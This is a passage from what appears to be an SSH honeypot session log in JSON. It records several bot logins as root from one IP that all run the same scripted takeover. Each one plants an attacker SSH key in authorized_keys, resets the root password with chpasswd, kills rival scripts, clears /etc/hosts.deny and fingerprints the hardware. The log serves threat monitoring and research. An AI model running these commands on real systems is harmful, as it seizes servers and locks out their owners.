AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:28:15.120861+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:28:15.842248+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:28:16.408000+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6bEgnKEJUxTj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:28:16.959838+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:28:17.502089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:28:17.759248+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:28:18.300294+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:28:19.482881+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:28:20.019645+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:28:20.920613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:28:21.453111+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:28:22.128931+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:28:22.669863+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:28:23.544588+00:00","kind":"output","latency_ms":null,"data":" 18:28:23 up 6 days, 15:18, 0 user, load average: 0.11, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:28:24.086479+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:28:24.345618+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:28:24.888646+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:28:25.348839+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:28:25.878477+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:28:26.555134+00:00","kind":"output","latency_ms":null,"data":"top - 18:28:26 up 6 days, 15:18, 0 user, load average: 0.11, 0.1, 0.08\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:28:27.096177+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:28:27.518640+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:28:28.054877+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:28:28.450805+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:28:28.981951+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:28:29.307333+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:28:29.876951+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:28:31.434039+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:28:31.969221+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:28:33.013680+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345qwerty","method":"password","accepted":true,"tier":"other"}]} {"id":"489fe293-0c72-4ce4-ad63-285e100aebb5","name":"primal-indigo-lemur","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":52828,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":512,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:25:33.989776+00:00","ended_at":"2026-08-26T18:25:35.452780+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:25:10.562546+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:25:11.090608+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:25:16.576586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:25:17.414709+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:25:17.928805+00:00","kind":"input","latency_ms":null,"data":"echo \"root:h3ecXmpIpd9V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:25:18.439779+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:25:18.947946+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:25:19.553801+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:25:20.066213+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:25:21.165402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:25:21.679048+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:25:23.005941+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:25:23.522263+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:25:24.403519+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:25:24.917204+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:25:25.517677+00:00","kind":"output","latency_ms":null,"data":" 18:25:25 up 6 days, 15:15, 0 user, load average: 0.13, 0.14, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:25:26.029761+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:25:26.526617+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:25:27.036608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:25:27.301055+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:25:27.814888+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:25:28.073511+00:00","kind":"output","latency_ms":null,"data":"top - 18:25:28 up 6 days, 15:15, 0 user, load average: 0.13, 0.14, 0.12\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:25:28.584372+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:25:29.483453+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:25:29.995190+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:25:30.656491+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:25:31.167283+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:25:31.810189+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:25:32.321277+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:25:33.477882+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:25:33.990635+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:25:35.294511+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"121","method":"password","accepted":true,"tier":"other"}]} {"id":"33d09e0a-72d7-4661-aaad-ca12bd5e1b36","name":"gnarled-slender-sandpiper","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":55992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":536,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:16:36.587288+00:00","ended_at":"2026-08-26T18:16:38.154660+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:16:14.839267+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:16:15.374106+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:16:19.532110+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:16:20.335624+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:16:20.877444+00:00","kind":"input","latency_ms":null,"data":"echo \"root:4WhX1sN8WRtS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:16:21.405435+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:16:21.924408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:16:22.419217+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:16:22.944461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:16:23.844807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:16:24.372177+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:16:25.697362+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:16:26.224991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:16:26.869314+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:16:27.394030+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:16:27.674883+00:00","kind":"output","latency_ms":null,"data":" 18:16:27 up 6 days, 15:06, 0 user, load average: 0.05, 0.05, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:16:28.211839+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:16:28.611211+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:16:29.158234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:16:29.844746+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:16:30.381757+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:16:31.137552+00:00","kind":"output","latency_ms":null,"data":"top - 18:16:31 up 6 days, 15:06, 0 user, load average: 0.05, 0.05, 0.06\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:16:31.679504+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:16:31.957307+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:16:32.493785+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:16:32.775784+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:16:33.308881+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:16:33.963759+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:16:34.501770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:16:36.031148+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:16:36.589524+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:16:37.984846+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123999","method":"password","accepted":true,"tier":"other"}]} {"id":"015510ba-cea4-469c-9467-beeb6085312d","name":"mellow-cheerful-moose","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":47128,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":542,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:04:40.564645+00:00","ended_at":"2026-08-26T18:04:41.652112+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:04:17.114414+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:04:17.651113+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:04:22.673364+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:04:23.375538+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:04:23.915220+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uztifEH9oUlg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:04:24.472262+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:04:25.013791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:04:25.372050+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:04:25.927524+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:04:27.127538+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:04:27.667958+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T18:04:29.302372+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T18:04:29.845420+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T18:04:30.568381+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T18:04:31.114164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T18:04:31.880813+00:00","kind":"output","latency_ms":null,"data":" 18:04:31 up 6 days, 14:54, 0 user, load average: 0.33, 0.32, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T18:04:32.423273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T18:04:33.216499+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T18:04:33.750422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T18:04:34.314071+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T18:04:34.857093+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T18:04:35.404287+00:00","kind":"output","latency_ms":null,"data":"top - 18:04:35 up 6 days, 14:54, 0 user, load average: 0.33, 0.32, 0.23\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T18:04:35.946667+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T18:04:36.392496+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T18:04:36.943342+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T18:04:37.195359+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T18:04:37.739938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T18:04:38.100230+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T18:04:38.641713+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T18:04:40.020001+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T18:04:40.565801+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T18:04:41.478753+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwedcxzas","method":"password","accepted":true,"tier":"other"}]} {"id":"67859af0-a50c-42d2-acee-a97ec9efad1f","name":"bronzed-glassy-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"20.153.204.5","src_port":34416,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":551,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T18:01:46.915015+00:00","ended_at":"2026-08-26T18:01:48.495916+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T18:01:23.146683+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T18:01:23.687531+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T18:01:29.494149+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T18:01:29.844855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T18:01:30.391166+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Y96BNyt7icNT\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T18:01:30.943842+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T18:01:31.493047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T18:01:32.079962+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T18:01:32.624580+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T18:01:33.570575+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T18:01:34.122634+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 